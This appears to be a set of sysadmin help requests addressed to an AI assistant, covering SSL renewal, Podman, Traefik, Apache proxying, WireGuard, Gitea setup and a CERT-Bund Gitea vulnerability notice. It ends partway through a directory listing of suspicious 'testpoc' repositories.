# Troubleshoot datacenter server https error ## Setup The datacenter server is maintained with Virtualmin. The domain causing the problem is "kipurchat.creature-go.com". The SSL certificate provider is Let's Encrypt. ## Problem When trying to open "kipurchat.creature-go.com" the web browser shows this error (first section and certificates cut out): ``` net::ERR_CERT_DATE_INVALID Subject: kipurchat.creature-go.com Issuer: R13 Expires on: 28.01.2026 Current date: 14.03.2026 Certificate Transparency: SCT Google 'Argon2026h1' log (Embedded in certificate, Verified) SCT Let's Encrypt 'Oak2026h1' (Embedded in certificate, Verified) ``` ## First own troubleshooting The Virtualmin webpage SSL Certificate In domain kipurchat.creature-go.com shows that renewal of the certificate failed: " SSL certificate providers like Let's Encrypt can be used to automatically request a valid cert for use by Virtualmin. This page can be used to request a new certificate, which will overwrite any other you currently have configured for this domain. However, SSL certificate providers require that your ownership of the certificate domain be validated by checking that this system hosts the website for the domain. This is done by placing a small temporary file under the website's document directory /home/admincg/domains/kipurchat.creature-go.com/public_html. Request certificate for Domains associated with this server kipurchat.creature-go.com Domain names listed here Also request wildcard certificate? SSL certificate provider Let's Encrypt Automatically renew certificate Yes No Send email on renewal Yes Only on failure No Hostname verification Attempt to request all hostnames, and fail if any cannot be validated Skip unresolvable hostnames, but fail if any remaining cannot be validated Exclude hostnames that cannot be validated from the certifcate Certificate hash type RSA Time since last renewal 0.00 months Last failed renewal 03/14/2026 11:39 AM Renewal failed due to Web-based validation failed : Saving debug log to /var/log/letsencrypt/letsencrypt.log Renewing an existing certificate for kipurchat.creature-go.com An unexpected error occurred: AttributeError: can't set attribute Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more details. DNS-based validation failed : Saving debug log to /var/log/letsencrypt/letsencrypt.log Renewing an existing certificate for kipurchat.creature-go.com An unexpected error occurred: AttributeError: can't set attribute Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more details. " ## Your tasks Please help me by running these tasks: ### Understand the root cause Why did the certificate renewal fail? ### Repair the SSL certificate setup Change the SSL certificate setup so that future renewals will work. ### Repair SSL connection If not already done by completing the task before, repair the SSL connection so that "kipurchat.creature-go.com" can be used again. --- # Podman shell script for AFFiNE service ## Motivation A Podman Pod is needed on a Linux server which provides an AFFiNE service. This Podman Pod needs to be created and started with a shell script which needs to be designed. The AFFiNE service will be used by humans and by AI agents; it will also be part of a design environment for designing a special MCP server for AFFiNE. ## Shell script requirements Requirements for the shell script: - Must use a container image with a Pinned Tag (for exact consistency) which points to the AFFiNE version 0.26.3. The name likely is something like "ghcr.io/toeverything/affine:0.26.3". - Must provide the AFFiNE web user interface at port 8092. - Must provide the GraphQL API. Background: The AFFiNE web and desktop apps use an internal GraphQL API to communicate with the backend. There is a /graphql endpoint but it is not documented for third-party use. - Must be in folder /home/pln/bin. - Must have the name create_pod_affine.sh The shell script shall be run by user pln which has permissions to run rootless pods. ## Shell script style The needed shell script must have the same style as other shell scripts on the server. These files are examples: /home/lwc/bin/create_pod_langflow.sh /home/krt/bin/create_pod_qdrant.sh ## Your tasks ### Ask first Before starting to design the shell script, ask between two and five questions to fully understand the situation, your tasks and the objectives. ### Identify the container image Find the container image with Pinned Tag pointing to AFFiNE version 0.26.3. ### Write the shell script Write the shell script. ### Test the shell script Run the shell script and test it. ### Redesign if necessary If the test failed, understand the problem, improve the shell script and go back to Test the shell script. Repeat this in a loop up to five times. ## Your objectives Your objectives are: - All requirements are fulfilled. - AFFiNE web user interface shows up at 127.0.0.1:8092. - The AFFiNE GraphQL API shows up under 127.0.0.1:8092 at /graphql or another link. ## Your behaviour If it is not possible to achieve your objectives, interrupt and ask me. Complete all your tasks without asking in between if you can achieve your objectives. --- # New Traefik route ## Motivation A new service runs on the server and needs to be provided to the internet by installing a new Traefik route. ## Traefik service Traefik runs as a systemd service in a Podman Pod. To end the service and Pod, run `/home/trf/bin/remove_pod_systemd_services.sh`. To start the Pod and the service, run `create_pod_traefik.sh`. ## Traefik configuration The Traefik configuration directory is `/home/trf/.local/share/traefik/`. The main configuration file is `/home/trf/.local/share/traefik/traefik.yml`. In the directory `/home/trf/.local/share/traefik/dynamic` are the .yml files for the individual routings. ## New service The new service for which the new Traefik route is needed: - Name is "affine" - Provided at 127.0.0.1:8092 ## Your tasks Your tasks are: - Ask questions if necessary to understand the situation and the tasks below. - Create the necessary file in `/home/trf/.local/share/traefik/dynamic`. - Update `/home/trf/.local/share/traefik/traefik.yml`. --- # Apache reverse proxy forwarding to another host ## Setup The setup comprises two servers which are connected via WireGuard. ### Linux server sv005.destengs.com - In a data center - Managed using Virtualmin - Two Virtual Servers: - kipurchat.creature-go.com - affine.creature-go.com - Uses Apache reverse proxy - WireGuard IP address 10.8.0.1 ### Linux server DesTEngSsv006 - Local server - Uses Traefik to route ingest traffic to microservices - WireGuard IP address 10.8.0.6 - Provides the AFFiNE microservice - Internal at 127.0.0.1:8092 ## Previous problems In the past I often faced problems with the Apache directives. ### SSL certificate renewal failed The Virtual Server kipurchat.creature-go.com was set up using Virtualmin some monthes ago. Then a forward was installed which routed the traffic of kipurchat.creature-go.com from sv005.destengs.com to DesTEngSsv006. When the automated SSL certificate renewal was triggered the renewal failed. The Apache directives file needed to be fixed so that the ACME check could succeed. ## Assistance for affine.creature-go.com forwarding I just created the Virtual Server affine.creature-go.com . https://affine.creature-go.com/ works, has a valid SSL certificate and shows the expected Virtualmin Welcome-Page. I would like to have your assistance to set up the forwarding for affine.creature-go.com to get a bullet-proof Apache directives file which also will allow the SSL certificate renewal in some weeks. ## Your tasks ### Interview Interview me to - Fully understand the situation - Clarify the objective - Obtain all files you need ### Update DesTEngSsv006 configuration Help me to update the DesTEngSsv006 configuration so that affine.creature-go.com forwarding works as expected and SSL certificate renewal will succeed. 1. The Apache VHost Config: Could you share the current contents of the Apache configuration file for affine.creature-go.com on sv005? (Usually found in /etc/apache2/sites-available/ or managed via Virtualmin's "Edit Directives" section). 2. Traefik's Entrypoint: On DesTEngSsv006, is Traefik listening for incoming traffic on port 80/443 over the WireGuard interface (10.8.0.6)? 3. Traefik Configuration: Have you already set up a router and service in Traefik for affine.creature-go.com? If so, could you share that snippet (labels in Docker or your YAML/TOML config)? 4. SSL Strategy: Is sv005 the only place where you want SSL to be terminated, or are you also trying to use Let's Encrypt on the Traefik side? (Standard practice here is to terminate at sv005 and send plain HTTP or "pseudo-HTTPS" over the tunnel). ## Interview answers 1. Attached is affine.creature-go.com.conf 2. Traefik is listening on 10.8.0.6:8080 3. Attached is the main Traefik config file traefik.yml from the DesTEngSsv006 directory /home/trf/.local/share/traefik and the three .yml config files {affine.yml, dashboard.yml, openwebui.yml} from the DesTEngSsv006 directory /home/trf/.local/share/traefik/dynamic/ 4. Terminate SSL at sv005 and send plain HTTP over the tunnel What about the already existing RewriteCond lines in the Apache config file? I would appreciate if you would update the complete affine.creature-go.com.conf file instead of giving me snippets which I have to insert at the hopefully correct position. Questions about both sections and : - You did remove but you did leave in - why didn't you take out both directories because they are not used? Any objections if I would remove the ? - There is no mail support at affine.creature-go.com so I plan to remove RewriteCond and RewriteRule for Webmail - any objections? Questions about section: - Why did you relocate the SSL Configuration block? --- # Wireguard problem Please help troubleshooting and repairing a Wireguard connection. ## Setup WireGuard IP-Addresses: 10.8.0.1 DesTEngSsv005 10.8.0.6 DesTEngSsv006 10.8.0.3 DesTEngSnb003 ### DesTEngSsv005 DesTEngSsv005 is a datacenter Linux server with public IP-address 65.108.193.31 . In the Wireguard setup the server is the bridge between an office server and a notebook. I am the system administrator and have root access. ### DesTEngSsv006 DesTEngSsv006 is an office Linux server with a dynamic IP-address for Internet access. ### DesTEngSnb003 DesTEngSnb003 is my personal Windows notebook with a dynamic IP-address for Internet access. ## Symptoms Today I noticed that from DesTEngSnb003 the Wireguard connection to DesTEngSsv006 is not working anymore: The connection could not be established. I can ping DesTEngSsv005 from DesTEngSnb003. The latest handshake with 10.8.0.6 happened 21 hours ago: ``` root@sv005 ~ # wg show interface: wg0 public key: Fww9ON7EvuRom7M9BN97bRpxduIM4V54z/Ij6eunrgo= private key: (hidden) listening port: 51820 peer: YUOO8IHL218cmeaS1c/VH9STQRGryrlWk0oXvtCbqFY= endpoint: 87.152.118.183:49669 allowed ips: 10.8.0.3/32 latest handshake: 4 seconds ago transfer: 21.22 MiB received, 633.64 MiB sent peer: XTC0cB4R3hurXh9NTIhPfDlam3ahrau21F/ezJUJSRs= endpoint: 89.244.105.89:49166 allowed ips: 10.8.0.6/32 latest handshake: 21 hours, 32 minutes, 20 seconds ago transfer: 1.13 GiB received, 115.96 MiB sent ``` The Wireguard connection was working well before, I am the only admin of all three machines and I have not intentionally changed any firewall settings or FORWARD chains. ```traceroute 10.8.0.6``` does not work on my notebook in a CMD window; likely because the notebook has Windows and not Linux. On the weekend I'm not in the office; therefore, I cannot check anything on DesTEngSsv006 now. Are there any helpful and promising checks I could do right now with my access limited to DesTEngSsv005 and DesTEngSnb003? The notebook can reach the hub: ``` C:\Users\tlg>tracert -d 10.8.0.6 Routenverfolgung zu 10.8.0.6 über maximal 30 Hops 1 50 ms 49 ms 49 ms 10.8.0.1 2 * * * Zeitüberschreitung der Anforderung. 3 * * * Zeitüberschreitung der Anforderung. 4 * * * Zeitüberschreitung der Anforderung. 5 * ^C ``` I started this: ``` root@sv005 ~ # ping 89.244.105.89 PING 89.244.105.89 (89.244.105.89) 56(84) bytes of data. ``` For more than one minute no answer arrived. So likely the office Internet connection is down. Thank you, I will proceed troubleshooting on Monday in the office. --- # New Git repository on DesTEngS Git server Please help with setting up a new Git repository on a Git server and in a Linux folder. ## DesTEngS Git server The DesTEngS Git server is at `git.destengs.com` and can be accessed via SSH with the `git` user and port `8085`. Example: The user pln did add a remote connection with `git remote add origin ssh://git@git.destengs.com:8085/pln/bin.git`. I have an account and my user name is 'tlg'. The Git server SW is Gitea. Gitea push-to-create is intentionally not enabled; therefore, new repositories were created via the Git server web interface up to now. ## The new Git repository The new Git repo will be used for my SW design topics, shall have the name DesTEngSsv006_swd and shall use SHA-256. I also want to use the Git repo for things which are common on GitHub repositories (like bug tracking and actions); however, the new repo will only be used by me and AI agents like you. On my Linux server DesTEngSsv006 my user name is 'tlg'. I created a folder /home/tlg/swd which shall become a Git repo which will be synced with the Git server repo; therefore, I want a SSH remote connection which would be created with `git remote add origin ssh://git@git.destengs.com:8085/tlg/DesTEngSsv006_swd.git`. ## Questions - Use your ask user questions tool to completely understand the situation and my requirements. - Do I have to manually set up the repo on the Git server first? - How should I set up bug tracking, actions and similar things? --- # Local Git repository setup Please help with setting up a local Git repository in a Linux folder and synchronizing it with a Git repository on a remote Git server. ## Remote Git server The remote Git server is at `git.destengs.com` and can be accessed via SSH with the `git` user and port `8085`. Example: The user pln did add a remote connection with `git remote add origin ssh://git@git.destengs.com:8085/pln/bin.git`. I have an account and my user name is 'wbg'. The Git server SW is Gitea. ## New Git repository on remote Git server Gitea push-to-create is intentionally not enabled; therefore, I created the desired new repository via the Git server web interface: - Name 'destengssv006_bin' - Issue Label Default - Object format sha256 I also created a new Token for access to wbg account via Gitea-API: - Token-name destengssv006 - Access: All (public, private and restricted) - │ API route │ Access │ activitypub │ no access │ issue │ read and write │ misc │ read │ notification │ read │ organization │ no access │ package │ no access │ repository │ read and write │ user │ read - Stored it on this server in /home/wbg/.gitea-token ## Local Git repository The folder /home/wbg/bin shall become a Git repo which must be synced with the remote Git server repository. SSH keys have been generated and the public used to communicate with the remote Git server via SSH without entering credentials. ## Your tasks 1. Initialize the local Git repository in the /home/wbg/bin with sha256, branch 'main'. Set global user name to 'wbg' and global user email to 'Thomas.Langer@destengs.com'. 2. Setup the SSH remote connection with `git remote add origin ssh://git@git.destengs.com:8085/wbg/destengssv006_bin.git`. 3. Make an initial commit with a reasonable .gitignore to test it. --- Mein Git-Server hat eine Sicherheitslücke. Das BSI schrieb mir über meinen Server-Hoster: ``` > Sehr geehrte Damen und Herren, > > eine kritische Schwachstelle in Gitea (CVE-2026-60004) kann von entfernten > Angreifenden ausgenutzt werden, um beliebigen Programmcode auf dem Gitea-Server > mit den Privilegien des Gitea-Dienstes auszuführen. > > Die Schwachstelle wurde in Version 1.27.1 geschlossen. > > Weitere Schwachstellen (CVE-2026-20896, CVE-2026-27771) ermöglichen entfernten > Angreifenden ohne Authentifizierung auf private Container zuzugreifen oder die > Identität beliebiger Benutzer anzunehmen. > > Weitere Informationen des Herstellers: > > CVE-2026-27771 > > > CVE-2026-20896 > > > CVE-2026-60004 > > > Nachfolgend senden wir Ihnen eine Liste von IP-Adressen in Ihrem Netzbereich, > unter denen zum angegebenen Zeitpunkt (Zeitstempel UTC) Gitea-Server > mit einer Version identifiziert wurden, die noch für mindestens eine > der oben genannten Schwachstelle verwundbar ist. > > Wir möchten Sie bitten, den Sachverhalt zu prüfen und zeitnah Maßnahmen > zur Absicherung der Systeme zu ergreifen bzw. Ihre betroffenen Kunden > entsprechend zu informieren. > > Diese E-Mail ist mittels PGP digital signiert. > Informationen zu dem verwendeten Schlüssel finden Sie unter: > > > Bitte beachten Sie: > Dies ist eine automatisch generierte Nachricht. Antworten an die > Absenderadresse werden NICHT gelesen > und automatisch verworfen. Bei Rückfragen wenden Sie sich bitte > unter Beibehaltung der Ticketnummer [CB-Report#...] in der > Betreffzeile an . > > Betroffene Systeme in Ihrem Netzbereich: > > Format: ASN | IP | Timestamp (UTC) | Port | Version | Cve > 24940 | 135.181.78.90 | 2026-09-22 14:33:25 | 80 | 1.25.1 | cve-2026-20896;cve-2026-27771;cve-2026-60004 > 24940 | 135.181.78.90 | 2026-09-22 19:29:25 | 443 | 1.25.1 | cve-2026-20896;cve-2026-27771;cve-2026-60004 > > Mit freundlichen Grüßen / Kind regards > Team CERT-Bund > > Bundesamt für Sicherheit in der Informationstechnik > Federal Office for Information Security (BSI) > CERT-Bund > Godesberger Allee 87, 53175 Bonn, Germany > ``` Mein aktuelles Gitea Container `docker-compose.yml` ist angehängt. Bitte finde die letzte stabile Gitea Image Version und aktualisiere sie als statische Version im `docker-compose.yml`. Dann schreib mir bitte nochmal kurz die Docker Kommandos auf, wie ich als `root` den Docker Service stoppe und nach Austausch der .yml Datei wieder starte. --- Danke, ich habe den Gitea Container aktualisiert, der Service läuft wieder. Deinem Tipp folgend wollte ich mir die Ordner unter `/opt/appdata/gitea/git/repositories` ansehen, dabei habe ich viele "testpoc*" Ordner entdeckt: ´´´ root@sv003 /opt/appdata/gitea/git/repositories # ls -alhrt total 1.2M drwxr-xr-x 5 admindc admindc 4.0K Nov 21 2025 .. drwxr-xr-x 3 admindc admindc 4.0K Dec 1 2025 n8n drwxr-xr-x 3 admindc admindc 4.0K Dec 4 2025 krtr drwxr-xr-x 3 admindc admindc 4.0K Dec 4 2025 ncd drwxr-xr-x 4 admindc admindc 4.0K Feb 24 2026 llm drwxr-xr-x 3 admindc admindc 4.0K Mar 1 2026 rdms drwxr-xr-x 3 admindc admindc 4.0K Mar 15 2026 pln drwxr-xr-x 3 admindc admindc 4.0K Mar 15 2026 trf drwxr-xr-x 3 admindc admindc 4.0K Apr 1 10:25 wbg drwxr-xr-x 3 admindc admindc 4.0K Jun 1 18:02 mkt drwxr-xr-x 7 admindc admindc 4.0K Jun 12 09:23 tlg drwxr-xr-x 3 admindc admindc 4.0K Jun 23 20:33 lwc drwxr-xr-x 4 admindc admindc 4.0K Jul 17 12:31 wlfb drwxr-xr-x 3 admindc admindc 4.0K Aug 5 20:44 testpoc60874 drwxr-xr-x 3 admindc admindc 4.0K Aug 6 08:49 testpoc29453 drwxr-xr-x 3 admindc admindc 4.0K Aug 7 15:56 testpoc43268 drwxr-xr-x 3 admindc admindc 4.0K Aug 10 10:10 testpoc12153 drwxr-xr-x 3 admindc admindc 4.0K Aug 10 18:15 testpoc24197 drwxr-xr-x 3 admindc admindc 4.0K Aug 10 20:31 testpoc85539 drwxr-xr-x 3 admindc admindc 4.0K Aug 10 22:49 testpoc98694 drwxr-xr-x 3 admindc admindc 4.0K Aug 11 00:01 testpoc78015 drwxr-xr-x 3 admindc admindc 4.0K Aug 11 00:23 testpoc25390 drwxr-xr-x 3 admindc admindc 4.0K Aug 11 00:47 testpoc92837 drwxr-xr-x 3 admindc admindc 4.0K Aug 11 01:19 testpoc97168 drwxr-xr-x 3 admindc admindc 4.0K Aug 11 18:56 testpoc82909 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:21 testpoc81407 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:21 testpoc84892 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:58 testpoc95017 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:58 testpoc87960 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 02:40 testpoc60504 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 10:22 testpoc25643 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 12:31 testpoc51520 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 12:31 testpoc56033 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 18:04 testpoc38666 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 18:20 testpoc93555 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 18:20 testpoc46919 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 20:14 testpoc30819 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 20:14 testpoc84143 drwxr-xr-x 3 admindc admindc 4.0K Aug 12 23:29 testpoc37242 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 00:12 testpoc56949 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 01:44 testpoc69547 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 09:24 testpoc19409 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 11:14 testpoc45556 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 11:14 testpoc72460 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 14:42 testpoc24413 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 14:49 testpoc79954 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 16:53 testpoc73498 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 17:22 testpoc31492 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 17:30 testpoc84236 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 20:01 testpoc66853 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 20:08 testpoc96299 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 22:38 testpoc37593 drwxr-xr-x 3 admindc admindc 4.0K Aug 13 22:45 testpoc36987 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 00:16 testpoc31664 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:03 testpoc40668 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:03 testpoc53151 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:14 testpoc69854 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:21 testpoc80023 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 07:40 testpoc77229 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 08:29 testpoc71873 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 08:30 testpoc17745 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:06 testpoc53823 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:06 testpoc66756 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:10 testpoc22616 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:11 testpoc27265 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 15:10 testpoc34412 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:10 testpoc85061 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:10 testpoc36190 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:54 testpoc73222 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:54 testpoc54227 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 20:20 testpoc46556 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 20:20 testpoc62541 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 20:42 testpoc61632 drwxr-xr-x 3 admindc admindc 4.0K Aug 14 22:35 testpoc90545 drwxr-xr-x 3 admindc admindc 4.0K Aug 15 06:00 testpoc61911 drwxr-xr-x 3 admindc admindc 4.0K Aug 15 08:34 testpoc95111 drwxr-xr-x 3 admindc admindc 4.0K Aug 15 15:02 testpoc78438 drwxr-xr-x 3 admindc admindc 4.0K Aug 15 15:02 testpoc81170 drwxr-xr-x 3 admindc admindc 4.0K Aug 15 15:57 testpoc86973 drwxr-xr-x 3 admindc admindc 4.0K Aug 15 23:22 testpoc18093 drwxr-xr-x 3 admindc admindc 4.0K Aug 16 06:45 testpoc34060 drwxr-xr-x 3 admindc admindc 4.0K Aug 16 14:11 testpoc19522 drwxr-xr-x 3 admindc admindc 4.0K Aug 16 21:35 testpoc39149 drwxr-xr-x 3 admindc admindc 4.0K Aug 17 04:55 testpoc22320 drwxr-xr-x 3 admindc admindc 4.0K Aug 17 12:17 testpoc34738 drwxr-xr-x 3 admindc admindc 4.0K Aug 17 19:43 testpoc48807 drwxr-xr-x 3 admindc admindc 4.0K Aug 18 03:05 testpoc68152 drwxr-xr-x 3 admindc admindc 4.0K Aug 18 10:28 testpoc62114 drwxr-xr-x 3 admindc admindc 4.0K Aug 18 17:52 testpoc79936 drwxr-xr-x 3 admindc admindc 4.0K Aug 19 01:14 testpoc13243 drwxr-xr-x 3 admindc admindc 4.0K Aug 19 08:37 testpoc69682 drwxr-xr-x 3 admindc admindc 4.0K Aug 19 16:01 testpoc72852 drwxr-xr-x 3 admindc admindc 4.0K Aug 19 16:44 testpoc15007 drwxr-xr-x 3 admindc admindc 4.0K Aug 19 20:46 testpoc86124 drwxr-xr-x 3 admindc admindc 4.0K Aug 20 02:52 testpoc11637 drwxr-xr-x 3 admindc admindc 4.0K Aug 20 06:15 testpoc87910 drwxr-xr-x 3 admindc admindc 4.0K Aug 20 11:54 testpoc82836 drwxr-xr-x 3 admindc admindc 4.0K Aug 20 18:00 testpoc41185 drwxr-xr-x 3 admindc admindc 4.0K Aug 20 20:32 testpoc98983 drwxr-xr-x 3 admindc admindc 4.0K Aug 20 22:20 testpoc19606 drwxr-xr-x 3 admindc admindc 4.0K Aug 21 04:26 testpoc23912 drwxr-xr-x 3 admindc admindc 4.0K Aug 21 07:55 testpoc62773 drwxr-xr-x 3 admindc admindc 4.0K Aug 21 14:01 testpoc78861 drwxr-xr-x 3 admindc admindc 4.0K Aug 21 15:30 testpoc95173 drwxr-xr-x 3 admindc admindc 4.0K Aug 21 20:07 testpoc40264 drwxr-xr-x 3 admindc admindc 4.0K Aug 22 02:13 testpoc26934 drwxr-xr-x 3 admindc admindc 4.0K Aug 22 08:19 testpoc73319 drwxr-xr-x 3 admindc admindc 4.0K Aug 22 09:16 testpoc50454 drwxr-xr-x 3 admindc admindc 4.0K Aug 22 15:22 testpoc19498 drwxr-xr-x 3 admindc admindc 4.0K Aug 22 21:28 testpoc69640 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 03:33 testpoc97230 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 05:47 testpoc52394 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 09:39 testpoc40721 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 09:41 testpoc51551 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 10:33 testpoc27510 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 10:33 testpoc61382 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 15:47 testpoc18831 drwxr-xr-x 3 admindc admindc 4.0K Aug 23 22:40 testpoc99091 drwxr-xr-x 3 admindc admindc 4.0K Aug 24 04:46 testpoc86985 drwxr-xr-x 3 admindc admindc 4.0K Aug 24 10:52 testpoc67871 drwxr-xr-x 3 admindc admindc 4.0K Aug 24 12:55 testpoc76030 drwxr-xr-x 3 admindc admindc 4.0K Aug 24 19:01 testpoc87311 drwxr-xr-x 3 admindc admindc 4.0K Aug 24 23:41 testpoc50982 drwxr-xr-x 3 admindc admindc 4.0K Aug 25 05:47 testpoc62120 drwxr-xr-x 3 admindc admindc 4.0K Aug 25 11:52 testpoc22318 drwxr-xr-x 3 admindc admindc 4.0K Aug 25 17:57 testpoc69014 drwxr-xr-x 3 admindc admindc 4.0K Aug 26 00:02 testpoc37385 drwxr-xr-x 3 admindc admindc 4.0K Aug 26 06:08 testpoc98701 drwxr-xr-x 3 admindc admindc 4.0K Aug 26 12:13 testpoc98443 drwxr-xr-x 3 admindc admindc 4.0K Aug 26 18:18 testpoc61465 drwxr-xr-x 3 admindc admindc 4.0K Aug 27 00:23 testpoc80725 drwxr-xr-x 3 admindc admindc 4.0K Aug 27 06:28 testpoc89134 drwxr-xr-x 3 admindc admindc 4.0K Aug 27 12:33 testpoc76121 drwxr-xr-x 3 admindc admindc 4.0K Aug 27 18:38 testpoc75962 drwxr-xr-x 3 admindc admindc 4.0K Aug 28 00:43 testpoc99832 drwxr-xr-x 3 admindc admindc 4.0K Aug 28 06:48 testpoc55555 drwxr-xr-x 3 admindc admindc 4.0K Aug 28 12:53 testpoc20107 drwxr-xr-x 3 admindc admindc 4.0K Aug 28 18:58 testpoc83027 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 01:03 testpoc50212 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 01:23 testpoc33280 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 07:08 testpoc67515 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 07:56 testpoc59645 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 09:27 testpoc84414 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 14:01 testpoc22008 drwxr-xr-x 3 admindc admindc 4.0K Aug 29 20:06 testpoc54612 drwxr-xr-x 3 admindc admindc 4.0K Sep 1 08:51 testpoc70617 drwxr-xr-x 3 admindc admindc 4.0K Sep 1 14:29 testpoc89149 drwxr-xr-x 3 admindc admindc 4.0K Sep 2 07:15 testpoc12795 drwxr-xr-x 3 admindc admindc 4.0K Sep 2 09:21 testpoc51398 drwxr-xr-x 3 admindc admindc 4.0K Sep 3 08:25 testpoc87154 drwxr-xr-x 3 admindc admindc 4.0K Sep 4 07:19 testpoc96091 drwxr-xr-x 3 admindc admindc 4.0K Sep 4 20:13 testpoc94765 drwxr-xr-x 3 admindc admindc 4.0K Sep 5 21:44 testpoc26027 drwxr-xr-x 3 admindc admindc 4.0K Sep 6 08:11 testpoc51858 drwxr-xr-x 3 admindc admindc 4.0K Sep 6 14:16 testpoc22861 drwxr-xr-x 3 admindc admindc 4.0K Sep 6 20:21 testpoc90891 drwxr-xr-x 3 admindc admindc 4.0K Sep 7 02:25 testpoc33139 drwxr-xr-x 3 admindc admindc 4.0K Sep 7 08:30 testpoc13803 drwxr-xr-x 3 admindc admindc 4.0K Sep 7 09:37 testpoc84488 drwxr-xr-x 3 admindc admindc 4.0K Sep 7 13:39 testpoc11688 drwxr-xr-x 3 admindc admindc 4.0K Sep 7 17:41 testpoc53646 drwxr-xr-x 3 admindc admindc 4.0K Sep 7 21:42 testpoc68917 drwxr-xr-x 3 admindc admindc 4.0K Sep 8 01:43 testpoc83437 drwxr-xr-x 3 admindc admindc 4.0K Sep 8 05:45 testpoc54590 drwxr-xr-x 3 admindc admindc 4.0K Sep 8 09:47 testpoc88044 drwxr-xr-x 3 admindc admindc 4.0K Sep 8 13:50 testpoc17939 drwxr-xr-x 3 admindc admindc 4.0K Sep 8 17:52 testpoc51371 drwxr-xr-x 3 admindc admindc 4.0K Sep 8 21:54 testpoc40770 drwxr-xr-x 3 admindc admindc 4.0K Sep 9 01:54 testpoc28859 drwxr-xr-x 3 admindc admindc 4.0K Sep 9 05:55 testpoc22366 drwxr-xr-x 3 admindc admindc 4.0K Sep 9 09:56 testpoc76660 drwxr-xr-x 3 admindc admindc 4.0K Sep 9 13:58 testpoc10570 drwxr-xr-x 3 admindc admindc 4.0K Sep 9 17:59 testpoc55506 drwxr-xr-x 3 admindc admindc 4.0K Sep 9 22:00 testpoc87776 drwxr-xr-x 3 admindc admindc 4.0K Sep 10 02:01 testpoc10705 drwxr-xr-x 3 admindc admindc 4.0K Sep 10 06:02 testpoc26965 drwxr-xr-x 3 admindc admindc 4.0K Sep 10 10:03 testpoc53126 drwxr-xr-x 3 admindc admindc 4.0K Sep 10 14:04 testpoc33503 drwxr-xr-x 3 admindc admindc 4.0K Sep 10 18:05 testpoc39441 drwxr-xr-x 3 admindc admindc 4.0K Sep 10 22:06 testpoc56058 drwxr-xr-x 3 admindc admindc 4.0K Sep 11 02:07 testpoc19144 drwxr-xr-x 3 admindc admindc 4.0K Sep 11 06:08 testpoc39192 drwxr-xr-x 3 admindc admindc 4.0K Sep 11 10:09 testpoc17058 drwxr-xr-x 3 admindc admindc 4.0K Sep 11 14:10 testpoc63010 drwxr-xr-x 3 admindc admindc 4.0K Sep 11 18:11 testpoc26355 drwxr-xr-x 3 admindc admindc 4.0K Sep 11 22:13 testpoc66868 drwxr-xr-x 3 admindc admindc 4.0K Sep 12 02:11 testpoc53078 drwxr-xr-x 3 admindc admindc 4.0K Sep 12 06:11 testpoc63807 drwxr-xr-x 3 admindc admindc 4.0K Sep 12 10:10 testpoc44807 drwxr-xr-x 3 admindc admindc 4.0K Sep 12 14:10 testpoc32788 drwxr-xr-x 3 admindc admindc 4.0K Sep 12 18:09 testpoc55027 drwxr-xr-x 3 admindc admindc 4.0K Sep 12 22:09 testpoc75302 drwxr-xr-x 3 admindc admindc 4.0K Sep 13 02:08 testpoc36916 drwxr-xr-x 3 